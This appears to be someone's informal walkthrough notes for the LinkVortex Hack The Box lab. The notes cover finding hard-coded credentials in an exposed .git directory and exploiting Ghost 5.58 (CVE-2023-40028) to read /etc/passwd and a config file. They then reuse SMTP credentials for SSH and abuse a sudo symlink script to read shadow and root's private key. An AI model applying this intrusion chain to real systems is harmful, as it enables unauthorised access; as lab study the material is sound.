http://linkvortex.htb/server-status

page available but don’t have permissions to see it

CMS (content management system) is GHOST

linkvortex.htb/ghost is login page

i can see on the site that admin is a user

GHOST 5.58 is being used I have CVE for it # CVE-2023-40028 but need admin password?

need to enumerate dev subdomain have not found anything there> getting word list diffed?

nmap taking 50 bilion years for some reason idk why

this is the only subdomain http://dev.linkvortex.htb/

found dev.linkvortex.htb/.git directory

creds

in there on one of the commits you have hard coded credentials it(β€˜complete setup’, async function () { const email = β€˜test@example.com’; const password = β€˜OctopiFociPilfer45’;

more creds

name: β€˜test user’, email: β€˜test-leo@example.com’, password: β€˜thisissupersafe’, blogTitle: β€˜a test blog’

more

name: β€˜test user edit’, email: β€˜test-edit@example.com’, password: β€˜thisissupersafe’, blogTitle: β€˜a test blog’

more

const email = β€˜test@example.com’; const password = β€˜thisissupersafe’;

I have creds and passwords and i have the exploit, what I don’t have is a username what is the username?

admin? linkvortex? link? vortex?

found user

admin@linkvortex.htb password: OctopiFociPilfer45

dumped /etc/passwd

file> /etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash

ghost 5.58 is the version

running a docker container with it to identify what important files i need to read

got this from /var/lib/ghost/config.development.json

}, β€œmail”: { β€œtransport”: β€œSMTP”, β€œoptions”: { β€œservice”: β€œGoogle”, β€œhost”: β€œlinkvortex.htb”, β€œport”: 587, β€œauth”: { β€œuser”: β€œbob@linkvortex.htb”, β€œpass”: β€œfibber-talented-worth” } } }

can log into ssh with this password/user !!!!!

user flag

can run this as root

User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

/etc/shadow

bob@linkvortex:/opt/ghostyC3zg87gHwrCXO0vl4igIh/64p3mw8hAd9ir.25f$ocGm9nW1TM2AB8Z.l0K.hi43bOrm3oxQsaKFACMoS2UL.tIXxSW3u/xsClrvkEhP5s.GUpdIvCX3qRtppDV8r.:19814:0:99999:7::: dnsmasq:*:19814:0:99999:7::: _laurel:!:20057::::::

was able to read files with script creating a double sym link

did it from bob directory theres a weird sticky bit in tmp thta stops it from working????

after this read /root/.ssh/id_rsa thats the private ssh key

logged into root with ssh -i private_key root@linkvortex.htb

thats it pwn